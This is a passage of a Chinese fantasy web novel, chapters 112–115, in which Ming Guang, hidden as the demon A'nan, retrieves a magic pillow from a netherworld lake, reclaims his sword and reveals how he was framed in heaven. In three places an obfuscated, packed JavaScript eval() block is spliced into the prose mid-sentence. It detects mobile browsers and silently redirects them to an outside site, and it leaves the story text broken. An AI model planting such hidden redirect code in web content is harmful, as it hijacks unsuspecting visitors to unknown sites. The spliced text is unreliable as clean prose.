浪花一波又一波地涌上沙滩,在礁石上卷起千堆雪。 阿难与越君朴低声交谈的话语,被阵阵浪涛所掩盖,无人听得清具体内容是什么。 . 半个多月后,阿难再次来到无间鬼域,应长恨直接把他领去了冥湖。 “我观察了冥湖大半个月,发现红蓝湖水寒冰流火的威力会随着月亮盈亏产生变化。满月那天的严寒与酷热都达到顶点,估计朔月那天应该是最低,你觉得呢?” “嗯,这个推测很合理。” “明天就是朔月之日,到时我可以试试看,能否靠法力护体下湖捞东西。” “阿难弟弟,也许你不用自己亲自下去,打发你家阿福跑一趟好了。” 应长恨一开始不解其意,但很快就有所明了。 “你曾经分出一缕灵识附在小铃身上去了云间仙境,是不是也想让我这么操作?” “对,阿福是你的本体法宝,不但可以承载你的灵识,附上去后五感也会更清晰,利用它在湖底找东西就不难了,难的是阿福能在冥湖中坚持多久。” 冥湖的寒冰流火就算威力再低,也还是有着冰冻与火烧东西的能力。区别在于威力低一点,法力就能挺得久一点。 冥湖的面积虽然不算很大,却也不是小池塘,想在湖底搜索不知遗落何处的移魂枕,肯定要花费不少时间。 “不管能坚持多久,先试上一试再说,你就教我怎么操作吧。” 分灵附体是仙家术法,应长恨不会,阿难花时间教会他后,他还有些不解地问道:“你以前在天界只是一条仙宠鲤鱼,怎么也学了这么多仙家术法呢?” “哥哥我就是这么优秀,自学成才的典型有没有?” 阿难打着哈哈应付了这个问题后,又道:“明天除了你家阿福外,我家小铃也不能闲着,这一次要靠它们联手去打捞移魂枕才行。” 应长恨关心地问:“你家小铃的法力完全恢复了吗?” “嗯,这半个多月我可没闲着,找了一处洞天福地闭关,就为了让小铃尽快恢复法力。” “那就好,冥湖面积不小,阿福和小铃如果能同时下去搜索,至少能节省一点时间。” “小铃目前的法力扛不住冥湖的寒冰流火,只能飞在湖面上对湖底进行感知勘探。它是仙家宝物,能和移魂枕产生呼应,比阿福漫无目的地四处乱晃要强。一旦它定位了法宝所在,再让阿福下去打捞。” 应长恨觉得这个计划可行,“好,就这么办。你家小铃负责定位,我家阿福负责打捞。” 定位很重要,打捞更重要。小铃定位了移魂枕的下落后,阿福就要负责打捞工作。 这一点小铃做不到,作为仙家宝物,冥湖会影响它的法力正常发挥,凭感应寻找移魂枕的下落已是极限,不可能下湖把东西捞出来。 阿福是鬼王法宝,冥湖对它起不到克制作用,只要它能靠法力扛住湖水寒冰流火的威力,就有希望捞起移魂枕。 112.主人 朔月之日,按照阿难拟定的计划,小铃与阿福一起联合执行任务。 小铃深知移魂枕对于主人收回大明很重要,一反平时的高冷态度,冲着阿福叮叮当当地响个不停。 如同轻声细语的请求:拜托拜托,如果我定位了法宝沉没的地点,你可一定要挺住把东西捞出来啊! 小铃前所未有的温柔和气,让阿福受宠若惊,激动得把自己转成了一枚陀螺,如同在反复强调:你放心你放心你放心…… 小铃飞在湖面上进行巡航感应是单独行动,不需要阿难的灵识跟随,它自己就能如同磁极般去感应移魂枕的存在。 冥湖的面积说大不大,说小也不小,如果运气不好的话,没准要把冥湖每个死角都不拉下都飞上一遍,才能找到法宝所在。 但是小铃的运气不错,不过半个时辰就成功定位了移魂枕沉没的地点所在。接下来,就看应长恨和阿福的了。 应长恨的一缕灵识附于骷髅头上,一起沉入了冥湖。 湖水的寒热相摧,让他感觉时而寒冷刺骨,时而灼热难当,虽然尚在可以忍受的范围内,却是需要咬牙硬挺的。 “阿福,动作快点,咱们必须要速战速决。” 红蓝湖水涌动的冥湖湖底,静静沉着一只洁如雪、滑如脂的玉枕,那就是两千年前皓宸帝君遗落在无间鬼域的法宝移魂枕。 用最快的速度,应长恨指挥阿福从冥湖湖底捞出了这件宝物。 当它用脑袋瓜顶着玉枕冲出湖面时,虽然距离入水不到一炷香的功夫,法力却已经消耗得几近于无。 半个骷髅头蒙着一层冰霜,半个骷髅头灼得通红一片。 “阿福,你成功了,真是好样的。” 阿难一边说一边伸出手,用一股柔和的罡风把阿福连玉枕一起托住,送到刚刚结分灵附体的应长恨面前。 “阿福,这次辛苦你了!” 应长恨接过自己的法宝轻抚两下,小铃也凑到阿福面前,笑语嫣然似的一番叮当作响,还主动贴了一下它的脸颊表达感谢。 阿福虽然筋疲力尽,但是这种前所未有的待遇让它乐坏了,小巧的骷髅头笑得下颏骨都快要掉了。 “这就是皓宸帝君的移魂枕,沉在冥湖两千多年了,依然流光溢彩仙气十足,真不愧是仙家法宝。” 应长恨一边说,一边把玉枕递给身旁的阿难细看,他接过去问得直截了当。 “阿难弟弟,这个法宝能先借我用一下吗?” “说什么借不借的,这东西如果对你有用的话,直接拿走就行了。” “我只需要用一下,用完后还是你把它收起来更好。东西藏在你这儿,无论玉京子想用它干吗,都很难得手。” “行,那你用完后再拿来给我保管吧!对了,你要用它干吗?想去哪儿刺探什么情报呢?” 阿难微微一笑:“回头你就知道了。我使用移魂枕的时候,还得劳烦鬼王替我护法。” 应长恨自然是满口答应:“没问题。” . 回到幽府后,阿难就直接抱着移魂枕去了客房。应长恨知道他会凭此枕移魂离体,只是不知道魂魄会去往何处。 魂魄离体,肉身无主,是一种并不安全的状态。 这样很容易被人夺舍,导致魂魄无法归位。要是万一肉身被毁,更是只能当孤魂野鬼了。 皓宸帝君当年是天界第一强者,神舍只会接纳原主,肉身也非常强大,根本没人能趁虚而入或毁其躯体,所以这件法宝他用起来无需顾虑什么。 作为一个实力并不高的速成仙鲤,阿难这么做却是有风险的。 所以他选择在无间鬼域进行移魂操作,背后有应长恨这座鬼王大靠山,就什么都不用担心了。 法宝的驱动方法大同小异,阿难尝试几次后就让移魂枕生效了。 一缕虚无飘渺的魂魄,流星般倏忽穿过千山万水,来到了东海太平岛的摩宵宫。 摩宵宫的正殿前,牢牢插在庭院中央的仙剑日月明,多日来一直死气沉沉的没有任何动静。 直到主人的魂魄突然出现在它面前,让它激动得在剑鞘中震动不已,迸出一阵龙吟似的剑啸声。 那剑啸声别人听不懂,阿难却明白是什么意思,翻译一下就是: “主人,你终于露面了!我等了几百年都等不到你,真怕再也见不到你了。你来了就好,真是想死我了。” 日月明自动拔剑而起飞向阿难的怀抱,却从虚无的魂魄中直接穿过去落在地上。想要亲近主人而不能的仙剑被整懵了,躺在地上进入呆滞状态。 阿难的魂体紧挨着日月明侧躺下去,一边用虚无的右手抚摸着剑体,一边轻声与之交流。 “大明啊,三百年前我被贬下天界时走了畜生道,下凡后不再是人而是变成了一尾鲤鱼,后来修炼成精才重新幻成人形。其实我早就找到你了,只是因为这个妖怪的身份让你一直认不出我。现在我的魂魄前来与你相认,你总算是认出我了。一会儿你跟着我的魂魄走就能回到我身边,再也不是无主之剑。” 听懂了主人的话后,仙剑日月明瞬间从地上弹起来,飞到墙壁面前用力撞上去,以撞墙的方式来表达自己认不出主人的羞愧与自责。 “大明,快别撞了,再撞墙都要塌了。这可是无极宗啊,你总不能把自家仙府的墙给撞塌吧?” 日月明是一柄很听劝的仙剑,立马中止了羞愧难当的撞墙行动。 然后它飞回阿难的魂体身边,活像只小狗一样围着主人猛转圈圈,剑体在剑鞘里龙吟不止。 这波剑啸声翻译过来大致意思如下: “主人我对不起你,我居然没有认出你,我真是太没用了!不过我打架还是很厉害的,你可千万不要嫌弃我啊!不然我就要伤心死了!我绝对不能没有你呀主人。” . 自从在摩宵宫扎根以来,仙剑日月明除了在正殿前的站位十分高调,其他时间都很低调,从来没有闹出过任何动静。 这天晚上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582167|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这柄仙剑却爆发出一阵龙吟似的剑啸声,活生生吵醒了整个摩宵宫的人。 阴有苓披着外袍,散着满头掺了不少华发的青丝,率先冲入正殿查看究竟。 她愕然发现日月明不但吵得厉害,还在院子里四处乱飞一气。又是咣当撞墙,又是围着一个地方绕圈,活像是犯了失心疯。 阿宽紧跟在阴有苓身后,小胖墩惊讶极了,“大师姐宗主,仙剑这是怎么了?” “我也不知道。” “它该不是等主人等不到发疯了吧?” “等了几百年都没疯,为什么偏偏今天晚上疯?” 阴有苓话音未落,仙剑日月明突然嗖的一下冲上夜空,疾如一道闪电般倏忽飞走了,刹那间就连剑影都消失得一干二净。 阿宽更惊讶了,“大师姐宗主,仙剑怎么跑了?不是说等不到主人它就会一直扎根咱们无极宗,哪儿也不去吗?” 仰头眺望着日月明在夜空中消失的方向,阴有苓若有所思地道:“如此看来,仙剑之所以会飞走,只能是去找它的主人了。” “仙剑是突然感知到了主人的下落吗?那就难怪它刚才那么闹腾了——敢情不是等不到主人发疯了,是知道主人在哪儿乐疯了。” 顿了一下后,阿宽又道:“对了大师姐宗主,仙剑找到了主人,也就是明光要重现江湖了。他以前也是咱们无极宗的人,应该会回摩宵宫来看看吧?” 阴有苓目光一凝,冷冷道:“他要是回来了,我一定要好好臭骂他一顿不可。无极宗沦落至此,他可谓是功不可没。” . 无间鬼域,一个没有白昼、只有黑夜的地方。 这里无休无止的漫长黑夜中,也没有星星和月亮,唯有墨汁般浓得化不到的黑暗。 这一天,浓墨似的黑夜中却陡然出现一点光——那点耀眼之极的光芒,宛如一颗急坠的流星,眨眼间的功夫就坠入幽府之中。 这天外飞星似的罕见一幕,幽城中有很多鬼都亲眼目睹,无不感到惊讶。 “刚才那是什么东西飞过去了?” “不知道,速度太快没看清楚,像是一颗星星。” “不可能,星星是不会掉到无间鬼域来的,从来没有过的事。” “是我感知有误吗?我怎么觉得那东西好像有仙气呀!” “那更不可能了,有仙气的东西怎么会往鬼域钻?仙家的神兵法宝都是灵物,没有这么蠢的。” “那可能是我搞错了。” “这东西会坠入幽府,应该跟咱们鬼王有关,他该不会又搞到了什么宝物吧?” “没准是呢!咱们这位鬼王厉害得很,虽然成名最晚,却在四大恶煞中脱颖而出成为新的鬼王。如果他再搞到什么宝物,我一点也不惊讶。” 诸鬼议论纷纷之际时,幽府中正在替明光护法的应长恨,对于这颗突然出现的“天外飞星”,露出惊诧又不解的神色。 ——什么东西竟敢擅闯鬼王府邸搞事情?胆子也太肥了吧? 113.是不是 应长恨幻出鬼刀风雷怒在手,正打算直接一刀劈过去,却愕然发现来者竟是仙剑日月明,几乎怀疑自己的眼睛是不是出了问题。 有没有搞错?这柄仙剑不守在摩宵宫等主人,无端端跑来无间鬼域作甚?它可是有灵识的仙剑,不是容易迷路的小猫小狗啊! 一迟疑间,仙剑日月明已经直接穿墙入室进了一个房间——那是阿难带着移魂枕进去的客房。 应长恨大吃一惊,仙剑日月明来得突然,又目的不明,他可不放心让阿难独自一人面对此事,赶紧身影一晃也追了过去。 客房中,阿难已经在卧榻上坐直了身子,日月明就横在他膝盖上,乖乖接受着他的双手抚摸。 之前阿难还是妖的时候,这柄仙剑对他是一副“胆敢靠近本剑就弄死你”的强横气势,如今却乖巧如一只小猫咪,随便他怎么摸都行。 应长恨难以理解地睁大双眼,“仙剑日月明难道是来找你的吗?为什么?” 仙剑日月明流落凡间后,就像一只失去主人的流浪狗,一直在苦苦等待着主人出现,为此守在摩宵宫不肯挪窝。 今晚它为什么会突然跑来无间鬼域找阿难呢?而且还一反初见时的“恶形恶状”,在他面前乖巧得不像话。 “因为我就是它的主人。” 阿难含笑的声音轻如落花,落入应长恨耳中却宛如惊雷,脑子轰的一声响。 “什么?你就是明光?!” 应长恨震惊到了极点。他无论如何也想不到,自己一直苦苦寻找的那位谪仙,居然早就以小妖的身份出现在自己身边了。 而阿难一介妖怪,为什么会懂符咒之术,还会不少仙家术法,他也终于恍然大悟地明白了。 这不是因为他曾经是天界的仙鲤,而是因为他曾经是云间仙境一人之下万人之上的灵曜天君,有史以来最年轻的仙官。 “可是……你怎么会变成了妖?谪仙堕凡不是打回凡人吗?” 如果阿难是个修仙的凡人,应长恨绝对不会如此震惊。 难怪这三百年来,人间凡界一直没有明光的任何消息,他苦苦寻找也一无所获——因为他一直在找的是一个人,而不是一个妖。 “这个就说来话长了。” “那你慢慢说,我现在有的是时间听。” “还是长话短说吧!” 虽然是一个说来话长的故事,但是阿难——明光不想把自己的叙述变成大型卖惨现场,三言两语就概括完了。 “当年我被贬下凡时走了畜生道,所以我不是被打回凡人,而是沦为畜生道的一员,变成了一条鲤鱼,在太形山修炼了三百年才重新修成人形。事情就是这样。” 明光一番话说得轻描淡写,应长恨却听得心神俱震。 虽然他只是在简略地陈述事实,没有半点诉苦的意味,但是一位神仙堕入畜生道,在这种一落千丈的处境中挣扎了整整三百年,个中苦楚可想而知。 “什么?你为什么会走了畜生道?是那个死蛇精故意坑你对吧?我一定要宰了他再剥皮抽筋挫骨扬灰不可。” 应长恨一双怒焰熊熊的眼睛几乎要喷出火来,认定玉京子这个冒牌货帝君就是罪魁祸首。 明光也没有多说什么。当年“紫衡帝君”让越君朴负责贬他下凡,十有八九就没安好心。 假如换作其他仙官,未必会动这种手脚,唯独越君朴有可能这么做。而他就偏偏选中了他,这会是巧合吗? 玉京子分明就是存心要借刀杀人,而越君朴也被嫉妒冲昏了头脑,成为了任他摆布的那把刀。 . 咬牙切齿地发完狠后,应长恨注视着明光轻声问道:“这些年,你在太形山一定过得很苦吧?” 虽然遭贬时走畜生道下凡沦为一条鱼,但阿难并不是那种只有七秒钟记忆的鱼。 恰恰相反,他的所有记忆都在魂灵中保存完好。 如果只是普通的鱼类,没有昔日的记忆,那么他还可以在太形山的湖泊中当一条懵懂无知的鲤鱼。 然而他却清楚地记得前尘旧事,过往的一切对比今朝的现在,这种今非昔比的巨大落差,注定会让他的每一天都过得痛苦不堪。 “一开始是的,后来也就习惯了。” 明光仍然简单的一语带过,云淡风轻的声音就像在谈论天气,却听得应长恨心里越发酸楚难当。 “不说我了,说说你吧。你怎么年纪轻轻就做了鬼?是在越城出了什么意外吗?” 十五岁那年游历越城时,明光在嘉湖救下了双头畸形儿阿难,动手为他割去了那个多余的头颅。 原本还以为这个孩子恢复正常外形后会苦尽甘来,却不知为何竟英年早逝了。 此时此刻,应长恨终于弄明白了一件事。 那晚在玉岭,他明明想要拖着阿难一起死,他却还是不计前嫌地从疫鬼手里救了他。 “你是不是早就认出我了?所以厉无情要杀我时才会救我。” “一开始只是感觉你有些眼熟,好像在哪里见过。三百多年前的事相隔太过遥远,想了好久才想起来。既然都救过一次了,那就再多救一次吧。” 应长恨内心是说不出的百感交集,原来他的两位救命恩人其实就是同一位。 ——也不知是什么天意注定,三百多年前的明光和三百多年后的阿难,两次救了他的命。 “当年你在越城救了我,我一直想要报答你。后来你飞升成仙,越城为你修建了一座很大很气派的神庙,我就去做了一个负责清扫的小道士,每天把庙观收拾得一尘不染。日子虽然清苦,却是我过得最平静也最开心的一段时光。” 应长恨的眉宇间浮起一缕回忆之色,在越城灵曜庙度过的那三年,是他一生中不可多得的太平岁月。 虽然只是一个微不足道的小道士,却是在恩人的神庙中日夜供奉他,他愿意余生都留在这里报恩。 然而,这段好时光仅三年就到头了。明光被贬下凡后,人间凡界的灵曜庙陆续毁于雷火,越城这一座也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596683|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 例外。 “后来灵曜庙毁于雷火,我来不及逃离,就葬身火海了。” 经年后旧事重提,应长恨的语气和明光一样轻描淡写。仿佛在说别人的事,与自己毫不相干。 “阿难弟弟,你怎么没有变成老实本分的冥鬼去投胎,而是化作厉鬼在无间鬼域闯荡呢?” “因为我想替你报仇。天界泼在你身上的这盆脏水,我想让他们用血来清洗。” 应长恨不再掩饰自己对天界的憎恨。既然阿难不是堕凡的仙鲤,而是当年遭贬时被坑去畜生道的明光,那他们就是同仇敌忾的一方。 “当年的事你并不清楚,怎么就肯定我是被泼了脏水呢?” 应长恨一瞬不瞬地注视着明光,一字一顿缓慢而有力地道:“灵曜天君,你是我唯一信奉的神明。无论别人怎么说,我坚信你绝对不是那种狼子野心的人。” “我都已经垮台三百年了,还以为信徒早就跑光了,没想到还有硕果仅存的一个。阿难弟弟,谢谢你。” 明光感慨万千地伸出一只手,按在应长恨的肩膀上,他粲然微笑道:“你我之间,不必言谢。” 在无间鬼域,应长恨一向出了名的冷心冷面,从来没有人见过他的笑容。 微笑对他来说像是比黄金珠宝更加贵重的礼物,吝啬得不愿送给别人,唯独阿难是个例外。 如今得知阿难就是明光,这一礼物更是免费大放送。 “行,那我就不说那些虚头巴脑的客气话了。阿难弟弟,现在你可以叫我一声阿难哥哥了吧?” 曾经的难兄难弟组合,阿难一直亲亲热热地管应长恨叫阿难弟弟,他却从没叫过他一声哥哥。 即使关系密切后,他也只是不再恶声恶气地喊臭妖怪,而是直接叫他阿难。 这一刻,一惯以凶神恶煞著称的新任鬼王,却温驯如小猫咪似的点头,毫不迟疑地喊道:“阿难哥哥。” 自从明光遭贬下凡后,应长恨的心愿就是在人间找到他。 那晚偶遇温且惠,他询问她要如何找到失散的哥哥,其实就是想知道有什么方式能找到明光。 而现在,明光果然成了他的兄长,他也甘心情愿一辈子当他的弟弟。 . 仙剑日月明离开摩宵宫的第二天,任天真正好过来探望阴有苓。得知此事后,她自然很明白这是怎么一回事。 “太好了!看来阿难哥哥想到法子收回仙剑了。” 任天真欣喜之余一时嘴快,阴有苓听得大吃一惊:“你刚才说什么?” “呃……阴姐姐,我本来不想多嘴的,不过既然都说漏嘴了,那就索性告诉你吧——阿难哥哥其实就是当年被贬下凡的灵曜天君明光。” 任天真这么一说,阴有苓自然要继续追问,于是她干脆把自己在瀚海沙漠的所见所闻全部告诉了她。 “阴姐姐,事情就是这样,我刚知道真相的时候和你一样震惊。现在看来,明光当年被贬一事没那么简单,他肯定是遭人陷害的。” 114.信或不信 阴有苓怔怔地发着呆,良久说不出一个字。 这三百年来,无极宗上下一直认定明光是导致宗门没落的千古罪人。但事实恐怕并非如此,明光很有可能是被人坑了。 作为天界最年轻有为前途无量的仙官,他的存在必然会让不少人心生嫉恨。想要暗戳戳耍手段把他拉下马的人,肯定也是有的。 正所谓木秀于林,风必摧之。 有时候,一个人越出色越优秀,越容易招来别人的嫉妒与诋毁,甚至可能是想要使阴招让他跌落神坛的破坏欲。 三百年前,在云间仙境没准就上演了这样一场精心设计的阴谋。不但成功搞垮了明光,还导致无极宗也惨遭连累,跟着一败涂地。 “收回仙剑后,明光肯定会来摩宵宫的,我要好好问一问他,当年到底是怎么一回事。” 阴有苓话音刚落,任天真就在一旁点头认同道:“对,想要搞清楚当年发生的一切,没有比直接问当事人更好的办法。” . 当天下午,明光就和应长恨一起来了摩宵宫。 在开门的阿宽眼中,这是两个陌生人来了。 因为明光已经不再是阿难的外形,而是变回了自己的模样,小胖墩怎么也想不到他其实是熟人。 在太形山修炼成精后,明光能变成人形时自然不会使用自己原来的容貌。只有藏起真容让别人找不到,他一介小妖的安全系数才能有保障。 要是顶着明光的脸四处跑,万一被天界哪位想要落井下石的仙官撞上,给他点苦头吃都算轻的,还能以降妖伏魔的正当理由直接把他打杀了,有冤都没处诉。 如今成功收回仙剑日月明,法力也提升了不少,明光终于可以不必再使用阿难这一伪装身份。 “你们找谁呀?” “我们找阴宗主,请问她在吗?” 明光态度和气,又问得很有礼貌,阿宽不由自主地就点头道:“在,你们进来吧。” 得知有客人来访,阴有苓心念一动,立刻走去待客的屋子,任天真也紧随其后。 见到明光的那一刻,她俩都有所明了地目光一凝。 这位朗似玉山,灿若朝阳的英俊少年,虽然看似陌生,却有着令人倍感亲切与熟悉的笑容,只能是从阿难变回原貌的明光。 “阿难哥哥,是你吧?” 任天真又惊又喜地率先发问,明光微笑点头道:“真真姑娘,是我。” 阴有苓神色复杂地沉默了片刻,然后直接开门见山地问道:“三百年前发生的一切,你是不是被人坑了?” 明光微微叹了一口气,“我说是,你信吗?” 阴有苓斩钉截铁地道:“信——不认识你之前,我绝对不会轻信。可现在我很了解你的为人,你说是,我就信。” “是,我想我是遭人算计了。” 任天真忍不住问道:“阿难哥哥,到底是谁这样算计你呢?” “不好说,这里头的水估计深着呢,咱们进屋再细说吧!” . 进屋后,四个人坐下来细细详谈。首先要谈的,自然是三百年前那桩陈年旧事。 当年在云间仙境发生的一切,明光自己其实也是满头雾水。 虽然他是局中人,但设局的却另有其人,他一点也不清楚这个圈套具体是怎么回事。 事发当天,明光在云间十二楼的藏书楼翻阅一本天书,忽然发现不远处的藏宝楼突然着火。 天界的火是神火,一旦燃起很难扑灭。到时候不但藏宝楼要保不住,相邻的楼阁搞不好都要步其后尘。 明光立刻下令,召来一批修为深厚的大仙官,一起动用法力进行灭火。 火势扑灭后,他才听说鬼王江天旷混上了天界,企图行刺帝君失败后,误闯玄清殿与陆衢展开一场恶斗,二人最终一死一伤。 江天旷一死,魂体就灰飞烟灭,却留下了一枚白玉令牌——他就是凭这枚出自明光的令牌过了白云关。 而事发时云间十二楼又恰巧失火,明光叫走一批大仙官协助灭火,更是令江天旷在天界如入无人之境。 这两点加在一起,让人无法不怀疑明光是否在其中扮演了什么不光彩的角色。 因为无论是他的令牌,还是他的灭火行为,都为江天旷暗中潜入天界提供了极大的便利。 檀豫是第一个开炮的人,直言不讳地指出明光有勾结鬼王犯上作乱的嫌疑。 不少对明光好感欠奉的仙官都纷纷附和,认同他极有可能利用江天旷刺杀英昊,好方便自己取而代之登上帝君宝座。 “一定是他,这么做只对他一个人有好处,不是吗?” “是的,他飞升后获封为一人之下万人之上的天君。如果帝君有个什么闪失,那就是他上位了,只有他才有动机刺杀帝君。” “对,他有这样的动机,只是不方便自己动手,所以就暗中勾结江天旷企图颠覆君权。” “没错,虽然证据链欠缺,但逻辑链可是一清二楚,只有明光有动机做出这种狼子野心的勾当。” 众口一词的情况下,明光百口莫辨,跳进天河都洗不清。 就算没有真凭实据,可天界发生了鬼王混上来企图刺杀帝君的事,终究不是什么小事。 明光的白玉令牌落在江天旷手里,不但让他混上天界,还造成了陆衢重伤的严重后果,也是难辞其咎。 最终,紫衡帝君英昊一声令下,以护卫天界不力的罪名将他贬下凡界。 . 认真听完明光回忆的当年种种后,阴有苓直言不讳地道:“这个设局之人显然早就想好了要拿你顶缸,所以精心将你设计为此事唯一的受益人,让其他人想不怀疑你都难。” 任天真也在一旁点头道:“是啊阿难哥哥,如果我和阴姐姐不是已经足够了解你的为人,光从这些情况来看,我们也会觉得是你狼子野心想要取代帝君。” 应长恨冷冷一哼,“那个所谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612297|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的帝君并不是什么好东西,他自己其实就是取别人而代之,这件事也不排除是他在贼喊捉贼。” 阴有苓不解地问:“这话什么意思?紫衡帝君怎么就不是好东西了?” 应长恨扭头看着明光道:“阿难哥哥,你再把水鬼的事也好好跟她们说一说吧!” 任天真好奇地眨巴着眼睛,“说紫衡帝君怎么还扯上水鬼了?难道他跟这个神龙见首不见尾的水鬼有什么关系不成?” 明光意味深长地道:“没错,他俩之间的关系可不简单呢,说出来能让你们大吃十惊。” 那晚的太湖缥缈峰水域,明光与水鬼铜棺将军狭路相逢后发生的种种,此时此刻被他细细道来,听得阴有苓和任天真都万分震惊。 “什么?现在的紫衡帝君没准是一个蛇精假冒的?你可有确凿证据?” 阴有苓下意识地想要确定这一点,明光苦笑着摇了摇头。 “我没有证据,无法确定,只是得出这么一个推测。当然,水鬼和英昊长得一模一样的事,除了我和阿难弟弟外再没有第二个人看见。所以,也不排除是我这个乱臣贼子再次勾结新任鬼王,用造谣诽谤的方式抹黑帝君。信或不信就由你们自己斟酌吧!” 任天真很干脆地表态道:“阿难哥哥,我相信你的推测。但天界那边肯定不信,他们只会认为你贼心不死,还想跟新鬼王合起伙来对付帝君。” 阴有苓也叹气道:“是啊,三百年前他们就已经给你扣上了这样的罪名,如今你的所作所为,他们也只会继续朝着这方面过度解读。” 应长恨道:“你们既然愿意相信我们的话,那我之前说的紫衡帝君不是什么好东西这一点,想来也就毫无异议了?” 任天真和阴有苓对视了一眼,一起点头表示认同。 “这个蛇精不但神不知鬼不觉地杀了英昊,还能假冒他的身份在天界稳坐头号交椅,论阴险狠毒也是没谁了。阿难哥哥当年遭人陷害一事,就算不是他在贼喊捉贼,也可能明知他无辜却顺势贬他下凡。毕竟他是一个冒牌货,阿难哥哥如此无敌的存在,对他来说是一种隐患。” 应长恨恨恨有声的一番话说完后,阴有苓还一点不解。 “为什么明光当年飞升后,玉京子要封他为仅次于自己的天君?如果很顾忌这样天纵奇才的少年仙官,应该要打压他才对吧?怎么还这么捧着他呢?” 任天真快人快语地回答道:“阴姐姐,你这就有所不知了。作为有史以来最年轻的仙官,明光可是由前所未有的七彩祥云接引到天界的。这种情况下帝君如果打压他,就是明晃晃的嫉贤妒能,传出去可就不好听了。” 明光听了若有所思,缓缓道:“他没有打压我,反而处处捧着我,不但让我成为一人之下万人之上的天君,还时不时流露出其他仙官都远不如我的意思,其实为我拉了不少仇恨。当时我年少气盛,觉得自己配得上这样的青睐有加。如今想一想,他恐怕是在用捧杀的方式在对付我呢。” 115.下战书 听了明光的这番话,应长恨深以为然。 “一定就是这样。这种阴险的捧杀方式,拉仇恨效果一流。就算你不会因此忘乎所以的太把自己当回事,也肯定能导致其他仙官更加嫉恨你。如果谁因此想要设局把你搞垮,那就正中他的下怀。这个歹毒的死蛇精玩阴的还真有一手,这波借刀杀人的操作真是太溜了。” “阿难哥哥,紫衡帝君极有可能是蛇精玉京子冒充的事,你肯定要想办法戳穿他吧?有什么计划吗?需不需要我帮忙?” 面对主动请缨的任天真,明光和应长恨对视一眼后,笑容大有深意地点了点头。 “有啊,我计划和阿难弟弟一起打上云间仙境逼宫。反正他们早就给我安了一个乱臣贼子的罪名,我又何必枉担了虚名,索性就这么干吧!至于真真姑娘,我还真有个忙要你帮一下。” . 步云山,锦霞峰。 怪石嶙峋的峰顶上,明光独自一人伫立着,脚下是东海的万顷碧波。 海还是那片熟悉的海,山却已经不再是熟悉的山。 他从小在步云山长大,熟悉这里的一草一木,如今草木不生的步云山,陌生得完全就是判若两山。 半空中传来一声响亮的公鸡打鸣声,明光循声张望,看见了骑着仙禽勃公子下凡而来的郦子微。 “弘文真君,我等你半天了。” 看着已经恢复原貌的明光,郦子微歉然一笑道:“抱歉,临时有事耽误了一下,让你久等了。” “哦,是什么事耽误了?” “武佑真君卫靖叛出天界,在瀚海沙漠与精魅儿子沆瀣一气的事,你也是知道的。帝君派人前去讨伐,刚刚得到消息,父子俩已经一同伏诛,个中详情需要我写上一份奏报递交帝君。” 尽管是一早预料到的结局,但明光听到时心里还是咯噔了一下,说不出是什么滋味。 郦子微叹道:“为了这个精魅儿子,卫靖不但神仙不做了,就连命也不要了,明知必死也在所不惜。唉!大家都不知道他究竟是怎么想的。” “他的想法很好理解——身为父亲,他已经放弃过自己的儿子一次,无论如何也不能再放弃一次,哪怕是一起去死也心甘情愿。” 明光这么一说倒是简洁又明了,听得郦子微沉默了片刻才重新开口。 “对了,你今天约我见面说有事要说,什么事啊?” “两件事:第一,我已经捞到移魂枕,也收回了仙剑日月明。” 郦子微始料未及地一愣。 什么?明光不但真有能耐把移魂枕从冥湖打捞起来了,居然还有能耐直接利用移魂枕收回了自己的仙剑。这怎么可能啊?! “不可能吧?你眼下是妖,而移魂枕是仙家法宝,就算被你弄到手也用不了啊!” 明光伸出右手摆出一个持剑的姿态,仙剑日月明立刻无声幻出,剑柄贴在主人的掌心中温驯如羔羊,没有一分一毫排斥妖怪的意思。 眼见为实,郦子微不信也得信了,满眼讶异地道:“你是怎么做到的?” “山人自有妙计。” “仙家法宝妖魔鬼怪是绝对无法驱动的,如果你能利用移魂枕收回日月明,那你现在肯定不再是妖身,只能是神兽仙禽一类。” 郦子微通过排除法很快猜出了事实真相,明光微笑着替他鼓了两下掌。 “恭喜你猜对了,可惜我没什么奖励给你。” “想要成为神兽仙禽,唯有服用七转仙灵丹才能伐毛洗髓脱胎换骨。可你是怎么把它搞到手的?” 七转仙灵丹只有云间仙境才有,明光一介小妖想要去天界,连白云关都过不去,又怎么能盗灵丹呢? 郦子微真是一百个想不通。 “蛇有蛇路,鼠有鼠路,我自有我的路数。总之不劳烦帝君操心,我自己把收回仙剑的难题解决了。” 明光不肯透露个中详情,郦子微也无法继续追问,因为问也是白问,只得强行按下满心震惊挤出一个微笑。 